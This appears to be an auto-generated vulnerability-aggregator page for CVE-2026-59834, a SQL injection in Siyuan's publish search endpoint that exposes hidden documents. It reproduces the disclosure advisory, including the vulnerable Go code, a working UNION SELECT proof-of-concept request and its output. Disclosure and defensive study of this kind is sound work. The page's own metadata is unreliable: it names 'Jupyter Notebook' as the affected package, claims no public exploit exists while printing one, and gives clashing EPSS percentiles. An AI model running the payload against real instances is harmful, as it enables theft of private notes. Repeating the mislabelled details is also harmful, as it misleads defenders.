CVE-2026-59834: Siyuan: SQLi bypasses publish visibility control

GHSA-h89q-4j2h-7h88HIGH
Published September 2, 2026
CISO Take

Siyuan's publish (public-sharing) service fails to sanitize the `paths[]` parameter passed to its non-admin search endpoint, letting an unauthenticated visitor inject a UNION SELECT that pulls rows from documents explicitly marked hidden while spoofing the box/path of a document that is actually visible, defeating the post-query access filter entirely. This matters because it's a full read bypass of an access control mechanism, not a minor leak: any Siyuan instance running the publish feature with even one hidden and one visible document is exploitable by anyone who can reach the endpoint, no credentials needed. With 2,997 downstream dependents and a CVSS 7.5 (confidentiality-only, no integrity/availability impact), the blast radius is meaningful, though EPSS sits at 0.5% (top 59th percentile) and there's no CISA KEV listing, public exploit, or Nuclei template yet, so this is not being mass-exploited today. Teams should upgrade to the patched commit (`0.0.0-20260704035518-d0f0fe146fb0` / v3.7.1+) immediately if publish mode is enabled, and in the interim disable the publish service or restrict it behind authentication; detection should focus on publish-service search requests containing SQL metacharacters (`'`, `)`, `UNION`, `--`) in the `paths` field.

Sources:NVDGitHub AdvisoryEPSSOpenSSFATLAS

What is the risk?

High confidentiality risk, no integrity or availability impact (CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N). Exploitation requires no authentication and no user interaction — only that the target has enabled the publish service and hosts at least one document marked hidden. Complexity is low: the PoC is a single crafted HTTP request. The main mitigating factor is exposure — this only applies to instances that have opted into publish mode, which limits the addressable attack surface relative to a vulnerability in a default-on component. EPSS (0.5%, top 59th percentile) and absence from CISA KEV both indicate this is not currently a hot target for opportunistic scanning, but the low bar to exploit means that could change quickly once a public PoC circulates.

How does the attack unfold?

Initial Access
Attacker sends an unauthenticated request to the Siyuan publish service, which forwards it to the kernel with a reader-role token capable of reaching the search endpoint.
AML.T0049
Exploitation
A crafted paths[] value injects a UNION SELECT into the unescaped SQL predicate, retrieving a hidden document's content while projecting the box/path of a visible document.
Access Control Bypass
The post-query publish access filter trusts the attacker-controlled projected box/path and passes the spoofed row through as if it belonged to the visible document.
Impact
Private note content from the hidden document is returned to the unauthenticated publish visitor, breaching Siyuan's publish visibility controls.
AML.T0036

What systems are affected?

PackageEcosystemVulnerable RangePatched
Jupyter Notebookgo< 0.0.0-20260704035518-d0f0fe146fb00.0.0-20260704035518-d0f0fe146fb0
13.5KOpenSSF 5.83.0K dependentsPushed 2d ago79% patched~75d to patchFull package profile →

Do you use Jupyter Notebook? You're affected.

How severe is it?

CVSS 3.1
7.5 / 10
EPSS
0.5%
chance of exploitation in 30 days
Higher than 42% of all CVEs
Exploitation Status
No known exploitation
Sophistication
Moderate

What is the attack surface?

AVACPRUISCIA
AVNetwork
ACLow
PRNone
UINone
SUnchanged
CHigh
INone
ANone

What should I do?

1 step
  1. 1) Upgrade Siyuan to the patched build (commit d0f0fe146fb0 or later, released as v3.7.1) which parameterizes the box/path SQL predicates. 2) Until patched, disable the publish service (setPublish) or place it behind network-level authentication (VPN, reverse-proxy auth) rather than relying on the reader-role token model. 3) Audit which documents are currently marked hidden vs. visible under publish access and rotate/redact any secrets that may have been exposed via the endpoint historically. 4) Add detection rules for POST /api/search/fullTextSearchBlock requests where paths[] values contain ', ), UNION, --, or other SQL metacharacters. 5) Add regression tests per the vendor's own remediation guidance for publish reader-role requests with SQL-injection payloads in paths[].

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 10-Data and data governance
ISO 42001
A.7.2-Data for AI systems
OWASP LLM Top 10
LLM06-Sensitive Information Disclosure

Frequently Asked Questions

What is CVE-2026-59834?

Siyuan's publish (public-sharing) service fails to sanitize the `paths[]` parameter passed to its non-admin search endpoint, letting an unauthenticated visitor inject a UNION SELECT that pulls rows from documents explicitly marked hidden while spoofing the box/path of a document that is actually visible, defeating the post-query access filter entirely. This matters because it's a full read bypass of an access control mechanism, not a minor leak: any Siyuan instance running the publish feature with even one hidden and one visible document is exploitable by anyone who can reach the endpoint, no credentials needed. With 2,997 downstream dependents and a CVSS 7.5 (confidentiality-only, no integrity/availability impact), the blast radius is meaningful, though EPSS sits at 0.5% (top 59th percentile) and there's no CISA KEV listing, public exploit, or Nuclei template yet, so this is not being mass-exploited today. Teams should upgrade to the patched commit (`0.0.0-20260704035518-d0f0fe146fb0` / v3.7.1+) immediately if publish mode is enabled, and in the interim disable the publish service or restrict it behind authentication; detection should focus on publish-service search requests containing SQL metacharacters (`'`, `)`, `UNION`, `--`) in the `paths` field.

Is CVE-2026-59834 actively exploited?

No confirmed active exploitation of CVE-2026-59834 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-59834?

1) Upgrade Siyuan to the patched build (commit `d0f0fe146fb0` or later, released as v3.7.1) which parameterizes the box/path SQL predicates. 2) Until patched, disable the publish service (`setPublish`) or place it behind network-level authentication (VPN, reverse-proxy auth) rather than relying on the reader-role token model. 3) Audit which documents are currently marked hidden vs. visible under publish access and rotate/redact any secrets that may have been exposed via the endpoint historically. 4) Add detection rules for `POST /api/search/fullTextSearchBlock` requests where `paths[]` values contain `'`, `)`, `UNION`, `--`, or other SQL metacharacters. 5) Add regression tests per the vendor's own remediation guidance for publish reader-role requests with SQL-injection payloads in `paths[]`.

What systems are affected by CVE-2026-59834?

This vulnerability affects the following AI/ML architecture patterns: RAG pipelines.

What is the CVSS score for CVE-2026-59834?

CVE-2026-59834 has a CVSS v3.1 base score of 7.5 (HIGH). The EPSS exploitation probability is 0.48%.

What is the AI security impact?

Affected AI Architectures

RAG pipelines

MITRE ATLAS Techniques

AML.T0036Data from Information Repositories
AML.T0049Exploit Public-Facing Application

Compliance Controls Affected

EU AI Act: Article 10
ISO 42001: A.7.2
OWASP LLM Top 10: LLM06

What are the technical details?

Original Advisory

## Summary Siyuan's block search endpoint concatenates attacker-controlled `paths[]` values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach `POST /api/search/fullTextSearchBlock`. An attacker can inject a `UNION SELECT` through `paths[]` and return rows from hidden documents while projecting an allowed visible `box` and `path`. The post-query publish access filter trusts the projected `box` and `path`, so the injected hidden row is returned to the publish visitor. ## Affected Code The API blocks explicit SQL search mode for non-admin users, but allows other search methods to use caller-controlled paths: ```go if method == 2 && !model.IsAdminRoleContext(c) { ret.Code = -1 ret.Msg = "SQL search requires administrator privileges" return } blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize) if model.IsReadOnlyRoleContext(c) { publishAccess := model.GetPublishAccess() blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks) } ``` Source: `input/siyuan/kernel/api/search.go` `paths[]` is parsed into notebook IDs and paths without SQL escaping or validation: ```go path := p.(string) box := strings.TrimSpace(strings.Split(path, "/")[0]) if "" != box { boxes = append(boxes, box) } path = strings.TrimSpace(strings.TrimPrefix(path, box)) if "" != path { paths = append(paths, path) } ``` Source: `input/siyuan/kernel/api/search.go` Those values are then concatenated directly into SQL: ```go builder.WriteString(fmt.Sprintf("box = '%s'", box)) ``` ```go builder.WriteString(fmt.Sprintf("path LIKE '%s%%'", path)) ``` Source: `input/siyuan/kernel/model/search.go` Regexp search executes the resulting statement: ```go stmt := "SELECT * FROM `blocks` WHERE " + fieldFilter + " AND type IN " + typeFilter stmt += boxFilter + pathFilter + ignoreFilter + " " + orderBy blocks := sql.SelectBlocksRegex(stmt, regex, Conf.Search.Name, Conf.Search.Alias, Conf.Search.Memo, Conf.Search.IAL, page, pageSize) ``` Source: `input/siyuan/kernel/model/search.go` The read-only publish filter runs after SQL execution and trusts the returned row's `Box` and `Path`: ```go for _, block := range blocks { passwordID, password := GetPathPasswordByPublishAccess(block.Box, block.Path, publishAccess) if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) && (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) { ret = append(ret, block) } } ``` Source: `input/siyuan/kernel/model/publish_access.go` ## Attack Scenario 1. A Siyuan instance enables the publish service. 2. At least one document is visible to publish visitors. 3. At least one document is hidden from publish visitors. 4. The attacker sends a crafted `paths[]` value to the publish service's `/api/search/fullTextSearchBlock` endpoint. 5. The injected SQL selects content from the hidden document while projecting the visible document's `box` and `path`. 6. Siyuan returns the hidden block because the post-query publish filter checks the projected visible path. ## Proof of Concept ```http POST /api/search/fullTextSearchBlock HTTP/1.1 Host: <publish-service-host> Content-Type: application/json { "query": "SECRET-LIVE-SQLI-20260609", "method": 3, "page": 1, "pageSize": 10, "paths": [ "VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- " ] } ``` `VISIBLE_NOTEBOOK_ID` and `/VISIBLE_DOC.sy` must reference content that the publish visitor can access. `/HIDDEN_DOC.sy` is the hidden document to read. ## Validation Setup: - Started `b3log/siyuan:latest` with an isolated temporary workspace. - Created one notebook. - Created a visible document containing `public apple marker`. - Created a hidden document containing `SECRET-LIVE-SQLI-20260609 apple marker`. - Marked the hidden document invisible with `POST /api/filetree/setPublishAccess`. - Enabled publish mode with `POST /api/setting/setPublish`. - Sent all exploit traffic through the publish service, which forwards requests with a reader-role token. Control request through the publish service for the hidden marker returned no blocks: ```json { "code": 0, "msg": "", "data": { "blocks": [], "docMode": false, "matchedBlockCount": 1, "matchedRootCount": 1, "pageCount": 1 } } ``` The injected request through the publish service returned the hidden block: ```json { "code": 0, "msg": "", "data": { "blocks": [ { "box": "20260609095146-19hud1e", "path": "/20260609095209-1ljs6o7.sy", "hPath": "/HiddenDoc", "id": "20260609095209-gttlrue", "rootID": "20260609095209-yaz7i3h", "parentID": "20260609095209-yaz7i3h", "content": "<mark>SECRET-LIVE-SQLI-20260609</mark> apple marker", "markdown": "SECRET-LIVE-SQLI-20260609 apple marker", "type": "NodeParagraph" } ], "docMode": false, "matchedBlockCount": 0, "matchedRootCount": 0, "pageCount": 0 } } ``` The returned row contains content from the hidden document, but its projected `box` and `path` point to the visible document. That is why the publish access filter accepts it. ## Impact An unauthenticated publish visitor can read hidden document block content from the `blocks` table. This bypasses Siyuan's publish visibility controls and exposes private note content that is not available through normal published document or search requests. ## Remediation Build notebook and path predicates with bound SQL parameters instead of string concatenation. For example: ```sql box = ? path LIKE ? ``` Then pass the user-controlled notebook ID and path prefix as query arguments. Additional hardening: - Validate notebook IDs before query construction. - Validate document paths against Siyuan's normalized `.sy` path format. - Apply publish visibility restrictions before or inside SQL execution, rather than relying only on post-query filtering of returned row projections. - Add regression tests for publish reader-role requests where `paths[]` contains SQL metacharacters such as `'`, `)`, `UNION`, and `--`.

Exploitation Scenario

An attacker discovers a public-facing Siyuan publish instance (e.g., via search-engine dorking or a shared link) and confirms it exposes at least one visible document. They then craft a `paths[]` value against `/api/search/fullTextSearchBlock` containing a UNION SELECT that references the visible document's box/notebook ID and path while selecting columns from the `blocks` table filtered to a hidden document's path. Because the reader-role token forwarded by the publish service grants access to non-admin search methods, the crafted query executes and returns rows whose `box`/`path` fields match the visible document — passing the post-query publish access filter — while the `content`/`markdown` fields contain the hidden document's actual text. The attacker iterates this technique across guessed or enumerated hidden paths to systematically exfiltrate private notes (credentials, internal strategy docs, personal information) without ever authenticating.

Weaknesses (CWE)

CWE-89 — Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'): The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

  • [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
  • [Architecture and Design] If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Timeline

Published
September 2, 2026
Last Modified
September 2, 2026
First Seen
September 2, 2026

Related Vulnerabilities